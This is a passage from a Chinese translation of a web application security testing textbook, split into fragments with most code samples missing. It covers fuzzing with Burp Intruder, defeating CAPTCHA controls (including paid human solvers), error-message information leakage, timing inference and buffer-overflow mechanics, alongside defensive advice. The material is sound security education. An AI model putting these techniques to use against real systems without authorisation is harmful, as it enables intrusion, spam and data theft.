实施此攻击将迅速遍历pageid参数最后两位的所有可能值，并显示每个响应中的页面标题，如图14-7所示。从图中可以看出，一些响应似乎包含有用的管理功能。此外，一些响应为指向其他URL的重定向，这需要进一步调查。为此，可以配置Intruder实施攻击，以提取这些重定向的目标，或者自动访问这些重定向，并显示最终的响应中的页面标题。 图14-7 遍历功能索引值并提取每个生成的页面的标题 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/502/ 6．攻击3：应用程序模糊测试 除利用日志功能提取有用的信息外，当然还可以探查应用程序中是否存在常见的漏洞。为确保测试合理，攻击者应该测试所有的参数和请求，从登录请求开始。 为迅速对前面的请求进行模糊测试，必须在所有请求参数中设定有效载荷位置。只需单击 position选项卡上的auto按钮即可完成这项操作，如图14-8所示。 图14-8 配置Burp Intruder对登录请求进行模糊测试 和使用JAttack实施模糊测试攻击一样，接下来需要手动检查结果表，确定任何值得深入调查的反常现象，如图14-9所示。与前面的攻击中一样，可以单击列标题，以各种方式对响应进行分类，从而迅速确定有用的数据。 图14-9 对一个请求进行模糊测试得到的结果 对测试结果进行初步分析可以得出结论，应用程序似乎易于受到SQL注入。在有效载荷位置1和2提交一个单引号后，应用程序会返回另一个响应，其消息中包含字符串quotation和syntax。这种行为明确表示，需要进行手动调查才能确定和利用其中的漏洞。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/auth/502/ 提示 可以右键单击任何看似有用的结果，将响应发送至Burp Repeater工具。这个工具允许手动修改请求，然后多次重新发布这个请求，以测试应用程序如何处理不同的有效载荷、探查避开过滤的方法或者实施具体的攻击。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 14.6 实施自动化的限制 本章目前介绍的各种技巧在许多应用程序中都可以使用，而不会出现任何问题。"},
    {"text": "会话处理机制，这类机制会防御性地终止响应意外请求的会话，采用因请求而异的反CSRF令牌之类的临时参数值（请参阅第13章了解相关内容），或涉及多阶段过程。"},
    {"text": "Burp Suite的会话处理支持 幸好，Burp Suite提供了一系列功能，可用于尽可能轻松地处理所有这些情形，以便于渗透测试员继续进行测试，而由Burp在后台无缝处理各种限制。"},
    {"text": "图14-11 在Burp Suite中录制请求宏 可以为宏中的每个项目配置以下设置，如图14-12所示： 图14-12 为宏项目配置cookie和参数处理方式 是否应将cookie库中的cookie添加到请求中；"},
    {"text": "在定义新宏时，Burp会通过识别某些参数，尝试自动查找任何此类关系，这些参数的值可以从以前的响应中（表单字段值、重定向目标、链接中的查询字符串）确定。"},
    {"text": "每个规则的范围可以基于所处理的请求的以下任何或全部特性进行定义，如图14-13所示： 图14-13 配置会话处理规则的范围 提出请求的Burp工具；"},
    {"text": "此功能将显示Burp对某个请求应用会话处理规则所执行的所有步骤，以便于查看Burp到底如何更新和提出请求，并确定配置是否按预期方式运行。"},
    {"text": "图14-16 Burp的会话处理追踪功能，可用于监控和调试会话处理规则 对测试目标应用程序所需的规则和宏进行配置和测试后，渗透测试员可以正常继续手动和自动测试，就好像测试限制并不存在一样。"},
    {"text": "由于突破这些控件会给垃圾邮件发送者带来经济利益，因而相关机构不断增加CAPTCHA拼图的难度，导致人类越来越难以读取这些拼图，如图14-17所示。 由于人类与计算机解决CAPTCHA拼图的能力相当，因此，作为针对垃圾邮件的一项防御措施，这些拼图可能会逐渐失效，并可能会被废弃。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/feedback/12/ http://mdsec.net/feedback/24/ http://mdsec.net/feedback/31/ CAPTCHA控件的一个更常见的漏洞在于，攻击者可以在某次手动解决拼图，然后在多个请求中重复提交其答案。正常情况下，每个拼图应仅用一次，应用程序应在收到提交的答案后废弃该拼图。如果不这样做，攻击者就可以一次性以正常方式解决拼图，然后使用其答案不限数量地自动提出请求。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/feedback/39/ 注解 一些应用程序有意提供破解CAPTCHA的代码路径，以便于某些授权自动进程使用。通常，在这些情况下，无须提交相关参数名就可以避开CAPTCHA。 2．自动破解CAPTCHA拼图 理论上，计算机可以破解大多数CAPTCHA拼图；实际上，许多主流拼图算法都以这种方式被破解。 对于包含扭曲单词的标准拼图，破解拼图的过程如下： （1）删除图像噪声； （2）将图像分割成单个字母； （3）识别每个部分包含的字母。 采用最新技术，计算机能够相当有效地删除图像噪声，并识别已被正确分割的字母。这时，将图像分割成字母是最重要的挑战，特别是在字母重叠并且高度扭曲的情况下。 对于可以轻松分割成字母的简单拼图，可以使用某种自行编写的代码来删除图像噪声，并将文本传送到现有的OCR（光学文字识别）库中来进行识别。对于非常难以分割的复杂拼图，各种研究项目已经成功破解了一些知名Web应用程序的CAPTCHA拼图。 对于其他类型的拼图，则需要针对拼图图像的特点采用不同的方法。例如，对于要求识别动物或物体方向的拼图，则需要使用实时图像数据库，以便于在多个拼图中重复使用。但是，如果这个数据库非常小，攻击者就可以通过手动破解数据库中的拼图来达到成功实施攻击的目的。即使为了使每一幅重复使用的图像在计算机看来会有所不同，应用程序对图像应用了噪声和其他扭曲，但攻击者通常会采用模糊图像散列和彩色直方图比较，将给定拼图中的图像与已手动破解的图像进行匹配。 Microsoft的Asirra拼图使用一个包含数百万幅猫和狗图像的数据库，这些图像来自现实世界中可领养的宠物目录。我们在下一节将讲到，在庞大的经济利益的刺激下，即使这样的数据库也可能会被攻击者快速破解。 值得注意的是，在所有这些情况下，要有效破解CAPTCHA控件，攻击者并不需要完全准确地破解拼图。例如，即使某个攻击仅正确破解了10%的拼图，但该攻击仍然能够非常有效地实施自动安全测试，或传送垃圾邮件（视具体情况而定）。通常，与手动攻击相比，即使自动攻击需要提交十倍以上的请求，后者实施起来仍然更加快捷和轻松。 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问 http://mdsec.net/feedback/8/ 3．使用人类破解者 有时，需要破解大量CAPTCHA拼图的犯罪分子会采用一些并不适用于执行Web应用程序安全测试的技巧，如下所示。 攻击者可以使用某个貌似善意的Web站点诱使人类CAPTCHA代理破解目标应用程序传递的拼图。通常，攻击者会利用竞赛奖励或免费访问色情内容来吸引用户。用户填写注册表单后，将会看到一个从目标应用程序实时提取的CAPTCHA拼图。用户破解该拼图后，攻击者会将其提供的答案提交给目标应用程序。 攻击者可以向发展中国家的人类CAPTCHA工蜂支付费用，由后者破解大量拼图。一些公司提供这种服务，每破解1000个拼图付费不到1美元。 黑客攻防技术宝典：Web实战篇（第2版） 14.7 小结 攻击一个Web应用程序所需执行的绝大多数任务必须根据应用程序的行为以及与它交互和控制它的方法来确定。为此需要经常进行手动操作，分别提交专门设计的请求并审查应用程序对这些请求的响应。 从概念上讲，我们在本章中描述的技巧非常简单。它们包括利用自动技巧使上述定制任务更加轻松、快捷、高效。事实上，渗透测试员可以对想要执行的任何手动操作自动化：使用计算机的处理能力与可靠性能攻击目标程序的漏洞与弱点。 在某些情况下，在直接应用自动化技巧时，可能会遇到各种障碍。但是，多数情况下，这些障碍都可以通过优化自动化工具或查找应用程序防御机制中的缺陷加以克服。 虽然概念上非常简单，但有效使用自动化定制攻击仍然需要运用经验、技能，并发挥想象。有各种工具可帮助渗透测试员实施攻击，或者他们也可以编写自己的工具。但任何工具也替代不了人类的智慧，思考方式的不同是真正熟练的Web应用程序黑客与纯粹爱好者之间的最大区别。掌握本书其他各章描述的所有技巧后，读者应该回过头来温习本章的主题，练习如何将自动化定制攻击方法应用于那些技巧中。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 14.8 问题 欲知答案，请参考http://mdsec. net/wahh。 （1）指出使用自动技巧在应用程序中枚举标识符时用到的3个标识符“触点”。 （2）对于下面的每一类漏洞，指出一个可用于确定该漏洞的模糊测试字符串： （a）SQL注入 （b）OS命令注入 （c）路径遍历 （d）脚本文件包含 （3）当对一个包含各种不同参数的请求进行模糊测试时，为何要在保持其他参数不变的情况 下轮流针对每一个参数进行测试？ （4）假设在一个试图对登录功能实施蛮力攻击以找到其他账户证书的自动攻击中，无论提交的是有效证书还是无效证书，应用程序都返回一个指向相同URL的HTTP重定向。在这种情况下，使用什么方法探查“触点”最为可靠？ （5）当使用自动攻击从应用程序中获取数据时，想要的信息常常位于一个静态字符串之后，渗透测试员可以轻易截获这些数据。例如： 但是，在其他情况下发现事实并非如此，需要的信息之前的数据可能会发生变化。这时该如何设计一个自动攻击来满足需要？ 黑客攻防技术宝典：Web实战篇（第2版） 第15章 利用信息泄露 第 4章介绍了可用于解析目标应用程序并初步了解其运行机制的各种技巧，包括以大体上不会对应用程序造成危害的方法与其交互，将应用程序的内容与功能进行分类，判定它使用的技术并确定主要的攻击面。 本章介绍如何在实际攻击的应用程序中提取出更多信息，主要包括以出人意料和恶意的方式与应用程序进行交互，利用应用程序的反常行为提取出有价值的信息。如果取得成功，攻击者就可以通过这种攻击获取用户证书之类的敏感数据，深入了解某种错误条件并据此调整攻击方向，或者发现应用程序所使用技术的更多细节，同时解析应用程序的内部结构与功能。"},
    {"text": "但是，如果应用程序正在遭受攻击，很可能就会出现各种各样的错误条件，导致应用程序向用户返回更加详细的信息。 如果出现极不平常的错误条件，即使是最注重安全的应用程序（如电子银行使用的应用程序），也会向用户返回非常详细的调试消息。"},
    {"text": "15.1.1 错误消息脚本 如果在解释型Web脚本语言（如VBScript）中出现错误，应用程序通常会返回一条简单的错误消息，以揭示错误的本质，并且还可能会有发生错误的文件的行号。"},
    {"text": "例如，当为探查常见的漏洞在一个特殊的参数中插入各种 攻击字符串时，可能会遇到以下消息： 这条消息指出，修改的值被赋给了一个数字式参数，但是，由于提交的输入中包含非数字字符，因而不能赋给上述参数。 在这种情况下，向这个参数提供非数字攻击字符串可能达不到任何目的，也不会发现各种类型的漏洞，因此，最好选择其他的参数。"},
    {"text": "15.1.2 栈追踪 大多数Web应用程序用比简单脚本更复杂、但仍然在一种托管执行环境（managed execution environment）下运行的语言编写，例如，Java、C#和Visual Basic. NET。"},
    {"text": "它首先说明具体的错误，接着在后面的许多行中描述错误发生时调用栈的执行状态。 调用栈的首行显示生成错误的函数，第二行显示调用前一个函数的函数，以此类推，直到显示所有被调用的函数。"},
    {"text": "在前面的示例中，可以确定应用程序所使用的 ASP.NET 平台的版本，因此就可以研究这个平台，查找任何已知或新出现的漏洞、反常行为、常见的配置错误等。"},
    {"text": "渗透测试员应该对它进行仔细检查，确定任何可用于扩大攻击范围的数据，并且可以通过提交专门设计的输入操纵应用程序的状态，控制其获取信息的情况。"},
    {"text": "在Tomcat使用的HttpServlet-Response.sendError()调用中，错误数据还是响应消息头的一部分： 如果拥有对输入字符串Doc10083011的控制权，攻击者就可以提交换行字符并实施HTTP消息头注入攻击，或在HTTP响应中实施跨站点脚本攻击。"},
    {"text": "有关详细信息，请访问以下链接： http://www.securityfocus.com/archive/1/495021/100/0/threaded 通常，定制错误消息主要发送到控制台等非HTML目标，但有时用户可以在HTTP响应中发现这类错误显示的消息。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）当通过在不同的参数中提交专门设计的攻击字符串，探查应用程序中是否存在常见的漏洞时，应始终监控应用程序的响应，以确定任何可能包含有用信息的错误消息。 尝试通过在错误的情况下提交加密数据字符串，或通过对未处于处理操作的正确状态的资源执行操作，强制应用程序返回错误响应。 （2）注意，在服务器响应中返回的错误消息可能不会在浏览器中显示。因此，确定错误条件的有效方法，是在每一个原始响应中查找经常出现在错误消息中的关键字。例如： error exception illegal invalid fail stack access directory file not found varchar ODBC SQL SELECT （3）在基本请求中发送一系列修改参数的请求时，为避免错误警报，应检查最初的请求是否已经包含任何正在寻找的关键字。 （4）可以使用Burp Intruder中的Grep函数迅速确定在由某个攻击生成的任何响应中出现的有用的关键字（请参阅第14章了解相关内容）。如果发现匹配的关键字，应手动检查相关响应，确定应用程序是否返回任何有用的错误信息。 提示 查看浏览器中的服务器的响应时要注意，默认情况下，Internet Explorer会隐藏许多错误消息，并用一个常规页面代替它们。可以选择“工具”→“Internet选项”（Tools→Internet Options），然后在“高级”（Advanced）选项卡中禁用这种行为。 15.1.5 使用公共信息 由于Web应用程序通常会采用大量各不相同的技术与组件，因此渗透测试员经常会遇到一些以前从未见过的错误消息，它们可能不会立即揭示应用程序中出现的错误的本质。在这种情况下，可以从各种公共资源获得更多与错误消息有关的信息。 通常，不常见的错误消息往往是由某个特定的API故障造成的。对消息文本进行搜索就可以找到这个API的文档资料或开发者论坛，以及讨论这个问题的其他位置。 许多应用程序采用第三方组件执行一些常见的任务，如搜索、购物篮和站点反馈功能。这些组件生成的任何错误消息可能已经出现在其他应用程序中，并被人们在其他地方讨论。 一些应用程序中合并了公开发布的源代码。通过搜索出现在不常见错误消息中的一些特殊的表达式，就可以找到实际执行相关功能的源代码。然后检查这些代码，了解它们对输入执行了何种处理以及如何操纵应用程序，从而对某个漏洞加以利用。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）使用标准搜索引擎搜索任何不常见的错误消息的文本。可以使用各种高级搜索特性缩小搜索范围，例如： （2）检查搜索结果，寻找所有关于错误消息的讨论以及其他出现相同消息的站点。其他应用程序生成的同一条错误消息可能更详细，有助于更好地了解错误条件。使用搜索引擎缓存获取不再出现在当前应用程序中的错误消息。 （3）使用Google代码搜索查找任何生成特定错误消息的、公开发布的代码。搜索可能被硬编码到应用程序源代码中的错误消息代码段。还可以使用各种高级搜索特性指定代码语言及其他已知的细节，例如： （4）如果获得了包含库与第三方代码组件名称的栈追踪，在上述两种搜索引擎中搜索这些名称。 15.1.6 制造详尽的错误消息 有些情况下渗透测试员可以系统性地制造错误条件，以获取错误消息中的敏感信息。 假如能让应用程序对一个特殊的数据执行某种无效的操作，就可能出现上述情况。如果生成的错误消息揭示该数据的值，就可以让应用程序以这种方式处理有用的信息，然后利用这种行为从应用程序中提取任意数据。 可以在SQL注入攻击中利用详尽的开放式数据库连接（ODBC）错误消息检索任意数据库查询的结果。例如，如果将以下SQL注入WHERE子句中，将导致数据库将用户表中第一个用户的密码转换为整数，以执行求值操作： 这会导致以下详细的错误消息： 黑客攻防技术宝典：Web实战篇（第2版） 尝试访问： http://mdsec.net/addressbook/32 此外，如果某个应用程序错误生成一个包含错误描述的栈追踪，就可以利用这种技巧制造一种情形，让应用程序将有用的信息合并到错误描述中。 一些数据库允许用户创建用Java编写的自定义函数。在这种情况下，渗透测试员可以利用一个SQL注入漏洞创建自己的函数，执行任意任务。如果应用程序向浏览器返回错误消息，就可以让创建的函数生成一个包含任何想要的数据的异常。例如，下面的代码将运行操作系统命令ls，然后生成一个包含命令输出结果的异常。它将向浏览器返回一个栈追踪，其中第一行包含一个目 录列表："},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 15.2 收集公布的信息 除在错误消息中泄露有用的信息外，Web应用程序直接公布的信息也是它披露敏感数据的另一个主要源头。由于以下原因，应用程序可能会公布对攻击者有利的信息。 公布的信息在设计上属于应用程序核心功能的一部分。 公布的信息会无意中给其他功能造成负面影响。 由仍然存在于当前应用程序中的调试功能泄露信息。 由于某个漏洞（如访问控制不完善）而导致信息泄露。 应用程序可能向用户公布的敏感信息通常包括以下几项。 有效用户名、账号与文档 ID 列表。 用户个人资料，包括用户角色与权限、最后登录日期与账户状态。 用户当前使用的密码（该密码在屏幕上隐藏显示，但却出现在页面源代码中）。 包含在日志文件中的信息，如用户名、URL、执行的操作、会话令牌与数据库查询。 客户端HTML源代码中与应用程序有关的细节，如作为注释处理的链接或表单字段以及关于漏洞的注释。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）检查应用程序解析过程中得到的结果（请参阅第 4 章了解相关内容），确定可用于获取有用信息的所有服务器端功能与客户端数据。 （2）在应用程序中确定服务器向浏览器返回密码或信用卡资料等敏感数据的所有位置。即使这些信息在屏幕上隐藏显示，但仍然可以在服务器的响应中看到这些信息。如果发现其他适当的漏洞，例如访问控制或会话处理方面的漏洞，就可以利用这种行为获取属于其他应用程序用户的信息。 （3）如果已经确定任何提取敏感信息的方法，请使用第14章描述的技巧自动攻击解析过程。 黑客攻防技术宝典：Web实战篇（第2版） 15.3 使用推论 有些情况下，应用程序可能不会直接泄露任何数据，但可以根据它的行为准确推断出有用的信息。 在探查其他类型漏洞的过程中，我们已经遇到过许多以这种方式泄露信息的情况，如下所示。 注册功能允许在选择已经存在的用户名时根据出现的错误消息枚举出已注册的用户名。 搜索引擎允许推断出未获授权就可直接查看的编入索引的文档内容（请参阅第11章了解相关内容）。 在盲目SQL注入漏洞中，可以通过给一个现有的查询增加一个二进制条件，一次一位地提取信息（请参阅第9章了解相关内容）。 .NET中的“填充提示”攻击，在这种攻击中，攻击者可以通过向服务器发送一系列请求，并观察哪些请求在解密期间导致错误，从而解密任何字符串（请参阅第18章）。 另外，根据某种对攻击者有利的事实，如果应用程序执行不同操作所用的时间各不相同，那么，应用程序行为上的这种细微差异也会导致信息泄露。这种差异由以下原因造成。 许多复杂的大型应用程序需要从数据库、消息队列与大型主机等后端系统中提取数据。为提高性能，一些应用程序缓存频繁使用的信息。同样，一些应用程序采用一种延迟加载（lazy load）模式，仅在需要时加载对象和数据。在这种情况下，应用程序会从服务器的本地缓存中迅速提取出最近访问的数据，而从相关后端系统中相对缓慢地提取出其他数据。 电子银行应用程序常常以这种方式运作，与活动账户相比，访问一个休眠账户通常需要更长的时间；这时，技巧熟练的攻击者就可以利用这种行为枚举出其他用户最近访问的账户。 有些时候，应用程序处理某个特殊请求所花的时间取决于用户提交的数据是否有效。例如，如果向登录机制提交一个有效的用户名，应用程序就会执行各种数据库查询，获取账户信息并更新审计日志，同时执行需要进行大量计算的操作，根据保存的散列确认用户提交的密码。如果攻击者能够探测到这种时间差异，他就能利用它枚举有效的用户名。 一些应用程序可能会根据用户输入执行一项操作。如果用户提交的某个数据无效，就会造成超时。例如，如果某应用程序使用cookie保存一个前端负载均衡器（load balancer）之内的主机地址，攻击者就可以操纵这个地址，扫描组织内部网络中的Web服务器。如果提交的服务器地址不属于应用程序基础设施的范围，应用程序就会立即返回一个错误。如果提交一个不存在的地址，那么尝试连接这个地址就会造成超时，然后应用程序再返回与上一种情况相同的常规错误。攻击者可以利用Burp Intruder 结果表中的响应计时器进行这种测试。注意，默认情况下这些列隐藏不可见，但可通过Columns菜单显示。 黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）应用程序响应时间上的差异可能非常微小，难以探测。通常，只有在向关键区域提交重要的数据以及所执行的处理很可能会导致时间差异时，才值得在应用程序中探查这种行为。 （2）为测试某个特殊的功能，编辑两个列表，其中分别包含几个已知有效（或最近被访问）的数据和已知无效（或休眠状态）的数据。以可控制的方式提出包括这两个列表中的每一个数据的请求，一次仅提出一个请求，然后监控应用程序响应每个请求所用的时间。确定数据的状态与响应时间之间是否存在任何关联。 （3）可以使用Burp Intruder自动完成这项任务。对于每一个生成的请求，Intruder将自动记录应用程序响应前所用的时间以及完成响应所用的时间。还可以按这些属性对结果表进行分类，迅速确定明显关联。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 15.4 防止信息泄露 虽然我们不可能或无法完全阻止泄露对攻击者有用的信息，但可以采取各种相对简单的措施，最大限度地减少信息泄露，防止将最敏感的数据泄露给攻击者，避免应用程序的安全造成严重破坏。 15.4.1 使用常规错误消息 应禁止应用程序向用户的浏览器返回详尽的错误消息或调试信息。如果发生无法预料的错误（如数据库查询错误、磁盘文件读取故障或外部API调用异常），应用程序应返回相同的常规消息，通知用户出现错误。如果因为支持或诊断目的而有必要记录调试信息，那么将这些信息保存在一个用户无法公开访问的服务器端日志中，并在必要时向用户返回相关日志记录的索引号，方便他们在联系服务台时报告这个错误。 可以配置大多数应用程序平台与Web服务器，使其拦截错误消息，不将它返回给浏览器。 在ASP.NET中，可以使用Web.config文件的customErrors元素，通过设置mode属性为On或 RemoteOnly，并在defaultRedirect节点指定一个定制错误页面，从而阻止详尽的错误消息。 在Java Platform中，可以使用web.xml文件的error-page元素配置定制错误消息。exception-type节点可用于指定一个 Java 异常类型，或者使用error-code节点指定一个HTTP状态码；使用location节点可设定发生错误时显示的定制页面。 在Microsoft IIS中，可以使用一个Web站点属性页面的“定制错误”（Custom Errors）选项卡，为不同的HTTP状态码指定定制错误页面。如有必要，可在每个目录的基础上为每个状态码设置一个不同的定制页面。 在Apache 中，可以使用httpd.conf中的ErrorDocument指令配置定制错误页面。例如： 15.4.2 保护敏感信息 只要有可能，应禁止应用程序公布对攻击者有用的信息，包括用户名、日志记录或用户个人 资料。如果某些用户需要访问这些信息，应使用访问控制对它们进行有效保护，并且只有在完全必要时才提供这些信息。 如果必须向授权用户透露敏感信息（例如，以便用户更新他们的账户信息），那么在不必要时也不得披露现有数据。例如，应以截短的形式显示保存的信用卡号，绝不能预先填写密码字段，即使它在屏幕上隐藏显示。这些防御措施有助于减轻验证、会话管理与访问控制等应用程序核心安全机制中存在的严重漏洞造成的影响。 15.4.3 尽量减少客户端信息泄露 只要有可能，应删除或修改服务旗标，避免泄露特定软件版本等信息。执行这种防御所需的步骤依应用程序所使用的技术而定。例如，在Microsoft IIS中，可以使用IISLockDown工具中的URLScan删除Server消息头。在最新版本的Apache 中，使用mod_headers模块可达到相同的目的。由于这些信息会随时改变，建议在进行任何修改之前查阅服务器上的文档资料。 另外，还应删除部署在当前生产环境中的客户端代码（包括全部HTML与 JavaScript 代码）中的所有注释。 还要特别注意任何厚客户端组件，如 Java applet 和 ActiveX 控件。不得在这些组件中包含任何敏感信息。技术熟练的攻击者能够破译或逆向制造这些组件，恢复它们的源代码（请参阅第 5章了解相关内容）。 黑客攻防技术宝典：Web实战篇（第2版） 15.5 小结 泄露不必要的信息通常不会对应用程序的安全造成严重影响。有时，即使是非常详细的栈追踪与其他调试消息，也不会为攻击应用程序提供很大帮助。 然而，在其他情况下，渗透测试员可能会发现非常有利于实施攻击的信息来源，例如，它们披露了用户名列表、软件组件的准确版本，或者泄露服务器端应用程序逻辑的内部结构与功能。 为此，要对应用程序实施严重的攻击，渗透测试员必须对应用程序自身及公开资源进行仔细的核查，收集有助于发动攻击的信息。有些时候攻击者能够以这种方式收集的信息为起点，攻破泄露信息的应用程序。 黑客攻防技术宝典：Web实战篇（第2版） 15.6 问题 欲知问题答案，请访问http://mdsec. net/wahh。 （1）当探查SQL注入漏洞时，如果请求以下URL： 将会收到如下错误消息： 从中可以得出什么结论？应用程序中包含任何可被利用的条件吗？ （2）当对各种参数进行模糊测试时，应用程序返回以下错误消息： 从中可以获得哪些有用的信息？ （3）在解析应用程序的过程中，在服务器上发现了一个激活目录列表的隐藏目录，其中似乎保存着大量以前用过的脚本。请求其中一个脚本返回以下错误消息： 是什么原因造成了这个错误？可以立即发现哪些常见的Web应用程序漏洞？ （4）在探查一个请求参数的功能并试图确定它在应用程序中的作用时，如果请求以下URL： https://wahh-app.com/agents/checkcfg.php?name=admin&id=13&log=1 应用程序将返回以下错误消息： 这条错误消息是由什么原因造成的？为此应探查什么漏洞？ （5）当模糊测试一个请求，看其中是否存在各种漏洞时，测试员轮流在每个请求参数中提交了一个单引号。其中一个请求的响应包含了一个HTTP 500状态码，表示应用程序可能存在SQL注入漏洞。消息的全部内容如下： 该应用程序是否易于受到攻击？"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 第16章 攻击本地编译型应用程序 过 去，在本地执行环境中运行的编译型软件一直受到缓冲区溢出与格式化字符串（format string）等漏洞的困扰。如今，绝大多数的Web应用程序都是使用在托管执行环境中运行的语言和平台编写的，这个环境中不存在上述典型漏洞。使用C#和Java这类语言的一个主要优点在于，程序员不必再担心缓冲区管理与指针算法等问题；这些问题曾给以本地语言（如C和C++）开发的软件造成重大影响，并且是这些软件中绝大多数严重漏洞的根源所在。 但是，有时也会遇到用本地代码编写的Web应用程序。而且，许多主要使用托管代码编写的应用程序同样包含本地代码或调用在非托管环境中运行的外部组件。除非渗透测试员确切地知道所针对的应用程序并不包含任何本地代码，否则就有必要对它进行一些基本的检查，查明其中是否存在任何常见的漏洞。 在打印机与交换机等硬件设备上运行的Web应用程序常常使用某种本地代码。其他可能的目标包含：任何其名称（如dll或exe）表示它使用了本地代码的页面或脚本，以及任何已知调用遗留外部组件的功能（如日志机制）。如果认为所攻击的应用程序包含大量的本地代码，那么就有必要对应用程序处理的每个用户提交的数据进行测试，包括每个参数的名称与参数值、cookie、请求消息头及其他数据。 本章主要介绍3种典型的软件漏洞：缓冲区溢出、整数漏洞和格式化字符串漏洞。对每一种情况，我们将首先描述一些常见的漏洞，然后说明在Web应用程序中探查这些漏洞所需采取的实际步骤。这个主题涉及的内容非常广，它不在本书讨论的范围之内。关于本地软件漏洞，要想了解更多详细信息及如何发现它们，我们推荐以下参考书。 The Shellcoder's Handbook , 2nd Edition, by Chris Anley, John Heasman, Felix Linder, and Gerardo Richarte (Wiley, 2007) The Art of Software Security Assessment by Mark Dowd, John McDonald, and Justin Schuh(Addison-Wesley, 2006) Gray Hat Hacking , 2nd Edition, by Shon Harris, Allen Harper, Chris Eagle, and Jonathan Ness(McGraw-Hill Osborne, 2008) 注解 本章描述的漏洞远程探查可能会给应用程序带来严重的拒绝服务风险。与验证机制不完善及路径遍历等漏洞不同，仅查找各种典型的软件漏洞也可能会在目标应用程序中造成无法处理的异常，导致应用程序终止运行。如果准备在一个现有的应用程序中探查这些漏洞，在开始测试前，必须确保应用程序所有者接受测试带来的风险。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 16.1 缓冲区溢出漏洞 如果应用程序将用户可控制的数据复制到一个不足以容纳它们的内存缓存区中，就会出现缓冲区溢出漏洞。"},
    {"text": "16.1.1 栈溢出 如果应用程序在未确定大小固定的缓冲区容量足够大之前，就使用一个无限制的复制操作（如C语言中的strcpy）将一个大小可变的缓冲区复制到另一个大小固定的缓冲区中，往往就会造成缓冲区溢出。"},
    {"text": "例如，下面的函数将字符串username复制到一个分配到栈上的大小固定的缓冲区中： 如果字符串username超过32个字符，_username缓冲区就会溢出，攻击者将重写邻近内存中的数据。"},
    {"text": "当调用CheckLogin函数时，处理器将调用函数后执行的指令地址写入栈。 结束CheckLogin函数后，处理器从栈中取出这个地址，返回执行这个指令。 同时，CheckLogin函数分配到栈上已保存的返回地址旁边的_username缓冲区。"},
    {"text": "16.1.2 堆溢出 从本质上讲，堆缓冲区溢出也是由前面描述的相同危险操作造成的，唯一的不同在于这时溢出的目标缓冲区分配在堆上，而不是在栈上： 通常，在堆缓冲区溢出中，目标缓冲区旁不是已保存的返回地址，而是其他以堆控制结构分隔的堆内存块。"},
    {"text": "堆以一个双向链接表的形式执行：在内存中，每个块的前面是一个控制结构，其中包含块的大小、一个指向堆上前一个块的指针以及一个指向堆上后一个块的指针。"},
    {"text": "与栈溢出漏洞相比，利用这种漏洞实施攻击要更困难一些，但是，一种常见的利用方法是在被重写的堆控制结构中写入专门设计的值，以在将来某个时间重写任何一个关键的指针。"},
    {"text": "控制结构已被重写的堆块从内存中释放后，堆管理器需要更新堆块的链接表。 要完成这项任务，它需要更新后一个堆块的反向链接指针，并更新前一个堆块的正向链接指针，以便链接表中的这两个指针指向彼此。"},
    {"text": "具体来说，为更新后一个块的反向链接指针，堆管理器废弃被重写的控制结构中的正向链接指针，并在这个地址的结构中写入被重写的控制结构中的反向链接指针的值。"},
    {"text": "16.1.3 “一位偏移”漏洞 如果编程错误使得攻击者可以在一个被分配的缓冲区之后写入一个字节（或少数几字节），就会发生一种特殊的溢出漏洞。"},
    {"text": "以下面的代码为例，它在栈上分配一个缓冲区，执行一项计数缓冲区复制操作，然后以空字节结束目标字符串： 这段代码复制32 B，然后增加空终止符。"},
    {"text": "这种条件可被攻击者加以利用：如果栈上邻近的数据是调用帧（calling frame）的已保存的帧指针（saved frame pointer），那么将低位字节设为零可能会导致它指向_username缓冲区，因而指向攻击者控制的数据。"},
    {"text": "下面以前面堆溢出漏洞的“修复”代码为例： 在这段代码中，程序员在堆上建立一个固定大小的缓冲区，然后执行一个计数缓冲区复制操作，旨在确保缓冲区不会溢出。"},
    {"text": "然而，如果用户提交的数据等于或超过4096 B，那么返回的表单中还包括在向页面提出的前一个请求中提交的参数，即使这些参数由另外一名用户提交。"},
    {"text": "例如： 确定这种漏洞后，我们就可以继续向这个易受攻击的页面提交超长的数据，解析收到的响应，记录其他用户提交给页面的每一个数据，包括登录证书和其他敏感信息。"},
    {"text": "有些时候，一些细微的漏洞只有通过发送一个特殊长度或者在较小的长度范围内的超长字符串才能检测出来。 但是，许多时候，只需向应用程序发送一个超出其预计长度的字符串，就可以探查出漏洞。"},
    {"text": "黑客攻防技术宝典：Web实战篇（第2版） 渗透测试步骤 （1）向每一个目标数据提交一系列稍大于常用缓冲区大小的长字符串。例如： （2）一次针对一个数据实施攻击，最大程度地覆盖应用程序中的所有代码路径。 （3）可以使用 Burp Intruder 中的字符块有效载荷来源自动生成各种大小的有效载荷。 （4）监控应用程序的响应，确定所有反常现象。无法控制的溢出几乎可以肯定会在应用程序中引起异常。在远程进程中探测何时出现这种异常相当困难，需要寻找的反常现象包括以下几项。 HTTP 500状态码或错误消息，这时其他畸形（而非超长）输入不会产生相同的结果。 内容详细的消息，表示某个本地代码组件发生故障。 服务器收到一个局部或畸形响应。 服务器的 TCP 连接未返回响应，突然关闭。 整个Web应用程序停止响应。 （5）注意，如果一个堆溢出被触发，这可能会在将来而非立即导致系统崩溃。因此，必须进行实验，确定一种或几种造成堆“腐化”的测试字符串。 （6）“一位偏移”漏洞可能不会造成系统崩溃，但可能会导致反常行为，如应用程序返回意外的数据。 